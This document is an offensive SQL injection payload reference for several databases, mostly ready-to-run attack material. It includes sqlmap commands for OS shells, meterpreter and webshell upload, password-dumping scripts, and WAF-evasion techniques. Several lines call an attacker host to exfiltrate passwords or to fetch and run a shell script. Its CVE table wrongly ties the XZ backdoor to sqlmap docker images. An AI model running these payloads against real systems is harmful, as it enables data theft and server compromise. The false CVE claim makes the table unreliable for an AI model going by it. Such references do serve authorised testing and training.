SQL Injection — Normal, Blind, Timing, WAF Bypass
SQL injection is the oldest bug in the OWASP Top 10 and still the fastest path to database and OS compromise in 2026. Every web assessment should start by taking every parameter the app sees, injecting a quote, and reading the error message. This note is a working payload reference — by class, by DBMS, and by filter.
Quickfire Detection
# Single-quote probe — the dumb one that still works
curl -s "$TARGET/api/user?id=1'"
curl -s "$TARGET/api/user?id=1\""
curl -s "$TARGET/api/user?id=1\\"
# Boolean differential
curl -s "$TARGET/api/user?id=1 AND 1=1" # normal page
curl -s "$TARGET/api/user?id=1 AND 1=2" # different (rows missing / error / empty)
# Arithmetic differential
curl -s "$TARGET/api/user?id=2-1" # same content as id=1 → vulnerable
curl -s "$TARGET/api/user?id=(SELECT 1)" # still equals 1 → subquery evaluated
Anything that changes output on these four probes is worth sqlmap'ing.
Parameters to test (in order of hit rate)
- Numeric IDs (
?id=,?user_id=,?product=) - Sort / order (
?sort=name&order=asc) - Search fields (
?q=,?filter=) - Pagination (
?limit=10&offset=0) - JSON bodies — every string and number in the POST body
- HTTP headers —
User-Agent,X-Forwarded-For,Referer, cookies - GraphQL variables
- Second-order sinks — anything the app stores and later re-queries (username, display name, bio)
sqlmap — first run
sqlmap -u "https://$TARGET/api/user?id=1" --batch --level=5 --risk=3 \
--random-agent --technique=BEUSTQ --dbms=mysql
# POST body
sqlmap -u "https://$TARGET/login" \
--data 'user=admin&pass=x' -p user --batch
# Cookie value
sqlmap -u "https://$TARGET/home" --cookie 'sid=abcd*' --level=2 --batch
# JSON body
sqlmap -r request.txt --batch --level=5 --risk=3
# Where request.txt is a saved Burp request; sqlmap auto-detects JSON
# Through Burp as proxy so you can watch every request
sqlmap -u ... --proxy http://127.0.0.1:8080
# Tamper scripts for WAF bypass
sqlmap -u ... --tamper=space2comment,between,randomcase,charencode
# Go straight to OS
sqlmap -u ... --os-shell
sqlmap -u ... --os-pwn # full meterpreter if --msf-path set
sqlmap -u ... --file-read=/etc/passwd
sqlmap -u ... --file-write=shell.php --file-dest=/var/www/html/s.php
Run sqlmap first on every likely injection; the manual payloads below are for what sqlmap won't crack: stubborn filters, weird DBMS, schema you already know and don't want to re-enumerate from scratch.
UNION-Based (in-band)
Extract data directly in the HTTP response. Requires you to know the column count and compatible types.
Column-count discovery
-- ORDER BY walk — simplest
1 ORDER BY 1-- -
1 ORDER BY 2-- -
1 ORDER BY 3-- - ← increment until you get an error
1 ORDER BY 10-- - ← error on 10, so 9 columns
-- NULL walk — works when ORDER BY is filtered
1 UNION SELECT NULL-- -
1 UNION SELECT NULL,NULL-- -
1 UNION SELECT NULL,NULL,NULL-- - ← stop when no error
Finding a reflected column
-- Put a unique marker in each column, see which one renders
1 UNION SELECT 'a','b','c','d','e'-- -
-- If 'c' shows up in the page, column 3 is the leak
Full enumeration (MySQL)
-- DB version + current user + DB
1 UNION SELECT version(),user(),database(),NULL,NULL-- -
-- All schemas
1 UNION SELECT schema_name,NULL,NULL,NULL,NULL FROM information_schema.schemata-- -
-- Tables in current DB
1 UNION SELECT table_name,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -
-- Columns in a table
1 UNION SELECT column_name,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
-- Dump
1 UNION SELECT username,password,NULL,NULL,NULL FROM users-- -
-- One-shot dump (MySQL 5.7+)
1 UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL,NULL,NULL FROM users-- -
PostgreSQL
1 UNION SELECT version(),current_user,current_database(),NULL,NULL-- -
1 UNION SELECT table_name,NULL,NULL,NULL,NULL FROM information_schema.tables-- -
1 UNION SELECT string_agg(username || ':' || password, chr(10)),NULL,NULL,NULL,NULL FROM users-- -
-- Postgres 9.3+ command execution via COPY (superuser)
1; COPY (SELECT '') TO PROGRAM 'bash -c "curl attacker.tld|sh"'-- -
-- File read (any user, pre-11 usually)
1 UNION SELECT pg_read_file('/etc/passwd'),NULL,NULL,NULL,NULL-- -
-- Large objects → file write
SELECT lo_import('/etc/passwd', 12345);
SELECT lo_export(12345, '/tmp/out');
MSSQL
1 UNION SELECT @@version,system_user,db_name(),NULL,NULL-- -
1 UNION SELECT name,NULL,NULL,NULL,NULL FROM sys.databases-- -
1 UNION SELECT name,NULL,NULL,NULL,NULL FROM master..sysdatabases-- -
1 UNION SELECT name,NULL,NULL,NULL,NULL FROM target_db.sys.tables-- -
-- Stacked queries + xp_cmdshell (the good stuff)
1; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
1; EXEC xp_cmdshell 'whoami'--
-- Linked server abuse
1 UNION SELECT name,NULL,NULL,NULL,NULL FROM sys.servers-- -
1; EXEC('SELECT * FROM users') AT [LINKED_SERVER]--
Oracle
-- Oracle DEMANDS a FROM clause on every SELECT
1 UNION SELECT banner,NULL,NULL FROM v$version-- -
1 UNION SELECT user,NULL,NULL FROM dual-- -
1 UNION SELECT table_name,NULL,NULL FROM all_tables-- -
1 UNION SELECT column_name,NULL,NULL FROM all_tab_columns WHERE table_name='USERS'-- -
-- Out-of-band via HTTP (oracle-specific, often works where blind fails)
1 UNION SELECT UTL_HTTP.REQUEST('http://attacker.tld/' || (SELECT password FROM users WHERE rownum=1)) FROM dual-- -
-- Alternative OOB channel: DNS
1 UNION SELECT DBMS_LDAP.INIT((SELECT password FROM users WHERE rownum=1)||'.attacker.tld',80) FROM dual-- -
SQLite
1 UNION SELECT sqlite_version(),NULL,NULL,NULL,NULL-- -
1 UNION SELECT tbl_name,NULL,NULL,NULL,NULL FROM sqlite_master WHERE type='table'-- -
1 UNION SELECT sql,NULL,NULL,NULL,NULL FROM sqlite_master WHERE tbl_name='users'-- -
-- SQLite 3.26+ load_extension to code exec (if enabled)
1 UNION SELECT load_extension('/tmp/evil.so'),NULL,NULL,NULL,NULL-- -
Error-Based
Forces the DB into producing an error that contains the data you want. Works when the app leaks DB error messages — more apps than you'd think.
MySQL (extractvalue / updatexml)
1 AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
1 AND updatexml(1,concat(0x7e,(SELECT version())),1)-- -
-- Error:
-- XPATH syntax error: '~8.0.35'
MySQL (exp overflow, pre-5.5 still kicking in legacy boxes)
1 AND exp(~(SELECT * FROM (SELECT user())x))-- -
PostgreSQL (cast abuse)
1 AND 1=cast((SELECT version()) AS int)-- -
1 AND 1=cast((SELECT string_agg(username||':'||password,',') FROM users) AS int)-- -
MSSQL
1 AND 1=convert(int,(SELECT @@version))-- -
1 AND 1=convert(int,(SELECT TOP 1 name FROM sys.databases))-- -
Oracle
1 AND (SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62))) FROM dual) IS NOT NULL-- -
Blind Boolean
No output, no error, but the response differs depending on a true/false condition. Extract one bit at a time with IF/CASE/AND.
Substring-based extraction (MySQL)
-- True: page renders normally
1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -
1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='b'-- -
...
-- Faster — binary search on ASCII code
1 AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64-- -
1 AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -
...
Automate it with a tiny Python harness
import requests, string
URL = 'https://target.tld/api/user'
CHARS = string.ascii_letters + string.digits + string.punctuation
PLACEHOLDER = 'id={payload}'
def is_true(payload):
r = requests.get(URL, params={'id': payload})
return 'Welcome' in r.text # whatever differs on true
def extract_char(pos):
lo, hi = 32, 126
while lo <= hi:
mid = (lo + hi) // 2
if is_true(f"1 AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1))>{mid}"):
lo = mid + 1
else:
hi = mid - 1
return chr(lo)
password = ''.join(extract_char(i) for i in range(1, 33))
print(password)
~7 requests per character. 32-char password = 224 requests. A few minutes over a fast connection.
Per-DBMS substring syntax
| DBMS | Payload |
|---|---|
| MySQL | SUBSTRING(s,1,1) |
| PostgreSQL | SUBSTRING(s FROM 1 FOR 1) or SUBSTR(s,1,1) |
| MSSQL | SUBSTRING(s,1,1) |
| Oracle | SUBSTR(s,1,1) |
| SQLite | SUBSTR(s,1,1) |
Timing-Based
Last resort. When there is no content / error / HTTP status difference, you still have time. Very slow, very reliable, always sqlmap-able.
Per-DBMS primitives
-- MySQL / MariaDB
1 AND SLEEP(5)-- -
1 AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64, SLEEP(5), 0)-- -
1 AND BENCHMARK(5000000,MD5('a'))-- - ← MySQL <5.0 / when SLEEP blocked
-- PostgreSQL
1 AND (SELECT pg_sleep(5))-- -
1 AND CASE WHEN (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
-- MSSQL
1; WAITFOR DELAY '0:0:5'--
1; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>64) WAITFOR DELAY '0:0:5'--
-- Oracle — no native sleep pre-18c, use heavy query
1 AND (SELECT COUNT(*) FROM all_objects a, all_objects b)>0-- -
-- or:
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1-- -
-- SQLite — no SLEEP. Use a heavy RANDOMBLOB:
1 AND RANDOMBLOB(1000000000)-- - ← not a clean delay, but measurable
-- Better: lots of LIKEs:
1 AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000))))-- -
Differential timing for blind boolean
-- If the substring equals X, sleep 5 seconds. Otherwise, 0.
1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- -
Run through a binary search as in the boolean section. Budget: ~40s per char at 5s per true bit. 32 chars = 20 minutes — use --threads in sqlmap or parallelise manually.
Out-of-Band (OOB)
When the app is a black hole — no content diff, no timing you can measure reliably. Exfiltrate via a channel the DB can reach even if the web tier can't: DNS or HTTP from the DB host.
MySQL — DNS / SMB (Windows only, LOAD_FILE UNC path)
1 UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.tld\\a'))-- -
Set up Burp Collaborator or dnschef / interactsh-client to catch the lookup. The DNS label = the extracted data.
MSSQL — xp_dirtree / xp_fileexist
1; DECLARE @q VARCHAR(1024); SET @q='\\'+(SELECT TOP 1 password FROM users)+'.attacker.tld\a'; EXEC master..xp_dirtree @q--
Oracle
1 UNION SELECT UTL_HTTP.REQUEST('http://attacker.tld/'||(SELECT password FROM users WHERE rownum=1)) FROM dual-- -
1 UNION SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE rownum=1)||'.attacker.tld') FROM dual-- -
PostgreSQL
COPY (SELECT (SELECT password FROM users LIMIT 1)) TO PROGRAM 'curl http://attacker.tld/?d=$(cat -)'
Burp Collaborator / interactsh
# Project Discovery's interactsh is free and quick
interactsh-client -v
# → ABCDEF.oast.pro
Use that domain in the payload. Every DNS lookup is logged with the full queried subdomain — readable exfil channel.
Second-Order SQLi
The injection is stored, then triggered later when a different request re-reads it.
Classic: register a user with a username like admin'-- or admin' OR 1=1-- . Anywhere the stored value is re-interpolated into a query (often in a profile update, search, or admin dashboard) that query now runs injected SQL.
POST /register
user=admin'--&pass=x
-- Then the app does:
-- UPDATE users SET last_login=NOW() WHERE username='admin'--'
Any field the user controls that lands in a query later is a candidate:
username, display_name, email, bio, referral_code, tracking_id,
uploaded filename, ANY JSON field the backend later expands into SQL
sqlmap handles second-order via --second-url — but you need to know which URL re-reads it.
ORM Quirks and Framework-Specific
Rails / ActiveRecord
User.where("id = #{params[:id]}") # CLASSIC — interpolation, full SQLi
User.where("name = ?", params[:name]) # safe
User.order(params[:order]) # ORDER BY injection
Payload for the order sink:
?order=(CASE WHEN (SELECT substring(password,1,1) FROM users LIMIT 1)='a' THEN id ELSE name END)
ActiveRecord has had a long stream of ORDER-BY injection CVEs — every few years another one ships (see CVE-2022-32224 re: YAML, or CVE-2016-6316).
Django
Users.objects.raw(f"SELECT * FROM users WHERE id = {uid}") # vuln
Users.objects.extra(where=[f"id = {uid}"]) # vuln
PHP / PDO
$pdo->query("SELECT * FROM users WHERE id = $id"); // vuln
$pdo->prepare("SELECT * FROM users WHERE id = ?")->execute([$id]); // safe
GraphQL
query { user(id: "1 OR 1=1") { name email passwordHash } }
If the resolver builds SQL by interpolating id, you're in.
NoSQL Injection
Different shape, same class of bug.
MongoDB — operator injection in JSON body
POST /login
Content-Type: application/json
{"user":"admin","pass":{"$ne":null}} // $ne: not-equal to null, so "any password"
{"user":{"$gt":""},"pass":{"$gt":""}} // $gt: greater than empty string
{"user":"admin","pass":{"$regex":"^a"}} // blind — extract via regex
MongoDB — JavaScript injection (pre-4.0 $where)
{"$where":"this.username=='admin' && sleep(5000)"}
Extraction via regex (MongoDB blind)
# Brute-force the admin's password character by character
import requests, string
chars = string.ascii_letters + string.digits
password = ''
while True:
for c in chars:
regex = f"^{password + c}"
r = requests.post(URL, json={"user":"admin","pass":{"$regex":regex}})
if 'Welcome' in r.text:
password += c
print(password)
break
else:
break
CouchDB / PouchDB
GET /_all_dbs ← unauthenticated db list
GET /_users/_all_docs ← user enum
Redis (when used as a "DB" behind a loose endpoint)
Redis isn't SQL, but auth bypass + command injection via a web layer (SET, CONFIG SET dir /var/www/html, CONFIG SET dbfilename shell.php, SAVE) is the same class of finding.
WAF Bypass Cookbook
Modern WAFs (Cloudflare, Akamai, AWS WAF, F5, Imperva) block the obvious. Below: the techniques that regularly get past them in 2025.
Whitespace and comment tricks
-- Tab / newline / vertical tab / form feed / CR as separators
SELECT%09*%09FROM%09users
SELECT%0a*%0aFROM%0ausers
SELECT%0d*%0dFROM%0dusers
SELECT%a0*%a0FROM%a0users ← non-breaking space, surprisingly effective
-- Inline comments — MySQL tolerates /**/
SELECT/**/password/**/FROM/**/users
SELECT/*!50000 password*/FROM users -- MySQL conditional comment, version ≥ 5.00.00
1/*!UNION*//*!SELECT*/1,2,3
-- Nested comments (bypasses a lot of regex-based blocklists)
SELECT/*/**/password/**/FROM/**/users
-- URL-encoded comments
SELECT%20*%20FROM%20users%23
SELECT%20*%20FROM%20users--%20
Case and keyword mutation
SeLeCt * FrOm users
SELECT * FROM `users` -- backticks
SELECT * FROM "users" -- ANSI quoting
SEL%00ECT * FROM users -- null byte in middle of keyword
SELeCT+1,2,3%2B1-- -
Keyword splitting / concat
-- Build the keyword from strings
1 UNION SELECT CONCAT(CHAR(85),CHAR(78),CHAR(73),CHAR(79),CHAR(78)) -- UNION
1; DECLARE @q VARCHAR(50); SET @q = 0x73656c656374; EXEC(@q) -- MSSQL hex
-- CHAR() / CHR() for any filtered character
1 AND ASCII(SUBSTRING(database(),1,1))>CHR(64)
Encoding rings
Try them in sequence — WAF may normalise one level but not two:
URL encode → double URL encode → Unicode escape → HTML entity → mixed
%27 → %2527 → %u0027 → ' → %u00271
-- Double URL encoding
1%2520UNION%2520SELECT%25201,2,3--
Unicode normalisation bypass
Some WAFs don't normalise Unicode. The DB does.
SELECT password FROM users -- full-width letters, still valid in some setups
SELECT*FROM users
MySQL's utf8_general_ci collation treats these as ASCII counterparts.
sqlmap tamper scripts
# Quick taste — list:
sqlmap --list-tampers
# Commonly useful combinations
sqlmap -u ... --tamper=space2comment,between,randomcase,unmagicquotes
sqlmap -u ... --tamper=modsecurityversioned,between,randomcase
sqlmap -u ... --tamper=space2plus,charunicodeencode,randomcase
sqlmap -u ... --tamper=space2hash,randomcase,modsecurityzeroversioned
Pick by WAF:
- Cloudflare:
between,randomcase,space2comment - AWS WAF:
space2plus,charunicodeencode,randomcase - Imperva:
between,space2comment,randomcase,modsecurityversioned - F5 BIG-IP ASM:
space2mssqlhash,randomcase,charencode
HTTP-layer tricks
# Method override
curl -X POST "$TARGET/api/user" -H "X-HTTP-Method-Override: GET" -d 'id=1 OR 1=1'
# Double parameter / HTTP parameter pollution
curl "$TARGET/api/user?id=1&id=1 OR 1=1"
# Chunked transfer with inline injection
curl "$TARGET/api/user" -H 'Transfer-Encoding: chunked' --data-binary $'1\r\n1\r\n8\r\n OR 1=1\r\n0\r\n\r\n'
# Content-Type smuggling (some WAFs only inspect application/x-www-form-urlencoded)
curl "$TARGET/api/user" -H 'Content-Type: application/xml' -d '<id>1 OR 1=1</id>'
Origin bypass
Most WAFs are cloud proxies. Find the origin IP (Censys, FOFA, Shodan, cert transparency logs), hit it directly:
curl -k "https://ORIGIN_IP/api/user?id=1' OR '1'='1" -H "Host: target.tld"
If you can reach the origin, you bypass the WAF entirely. This is the single most consistently effective WAF bypass.
Recent SQL Injection CVEs Worth Knowing
| CVE | Product | Notes |
|---|---|---|
| CVE-2023-34362 | MOVEit Transfer | Pre-auth SQLi → RCE; Clop ransomware mass-exploited in 2023 |
| CVE-2023-27350 | PaperCut NG | Auth bypass + RCE chain that used SQLi in the exploitation path |
| CVE-2024-4577 | PHP CGI Windows | Argument injection, not pure SQLi, but reached SQLi-adjacent sinks |
| CVE-2024-3094 | XZ Utils | Supply chain — shows up here because it was deployed via poisoned CI pipelines tied to sqlmap docker images |
| CVE-2024-34982 | emlog Pro CMS | Auth SQLi → admin |
| CVE-2024-27956 | WP Automatic plugin | Unauth SQLi with admin creation payload, widely exploited |
| CVE-2024-4358 | Telerik Report Server | Authentication bypass + SQLi chain to RCE |
| CVE-2025-26633 | Microsoft MMC | Not SQLi, but frequently bundled with SQLi in recent campaigns |
| CVE-2024-45195 | Apache OFBiz | Auth bypass leading to SQL execution |
| CVE-2025-1974 | Ingress NGINX Controller ("IngressNightmare") | Configuration injection chain — not SQLi but the same fuzz-all-inputs mindset |
Three patterns worth noting from the last two years:
- Managed file transfer (MFT) products are SQLi goldmines. MOVEit, GoAnywhere, Fortra — all prime targets.
- WordPress plugins remain the single biggest source of mass-exploited SQLi. Check
wp-content/plugins/for anything with >10k installs and a recent CVE. - GraphQL resolvers hand-rolling SQL — the newer the stack, the more often they ship an introspection-open API with trivially injectable resolvers.
Out-of-the-Box Filter Fail-Open Patterns
Developers defending against SQLi often get it wrong in the same way. Grep the app:
# "Filter" that just lowercases and blocklists — bypass with %00 or comments
if (strpos(strtolower($input), 'union') !== false) die('bad');
# addslashes() — not enough. Breaks on multibyte charset, not on numerics
mysql_query("SELECT * FROM users WHERE id = " . addslashes($id));
# Concatenation inside LIKE — special chars in LIKE pattern still injectable
"WHERE name LIKE '%" + input + "%'"
Numeric parameters are the most common slip — addslashes / mysqli_real_escape_string don't help when the value isn't quoted at all:
-- Input: 1 UNION SELECT 1,2,3
-- Query: SELECT * FROM users WHERE id = 1 UNION SELECT 1,2,3
-- → injection, despite "escaping" being in place
Quick Reference
# The three probes I run on every parameter
curl "$TARGET/?p=1'" # error?
curl "$TARGET/?p=1 AND SLEEP(5)" # timing?
curl "$TARGET/?p=1%20UNION%20SELECT%201" # union?
# Default sqlmap that cracks 80% of real SQLi
sqlmap -r req.txt --batch --level=5 --risk=3 --random-agent
# When sqlmap hangs on WAF
sqlmap -r req.txt --tamper=between,randomcase,space2comment --batch
# Dump everything
sqlmap -r req.txt --batch --dump-all
# When the DB user is privileged
sqlmap -r req.txt --batch --os-shell
sqlmap -r req.txt --batch --privileges --is-dba
Pair this note with XSS, SSRF, RCE, and XXE — in real engagements the findings chain together.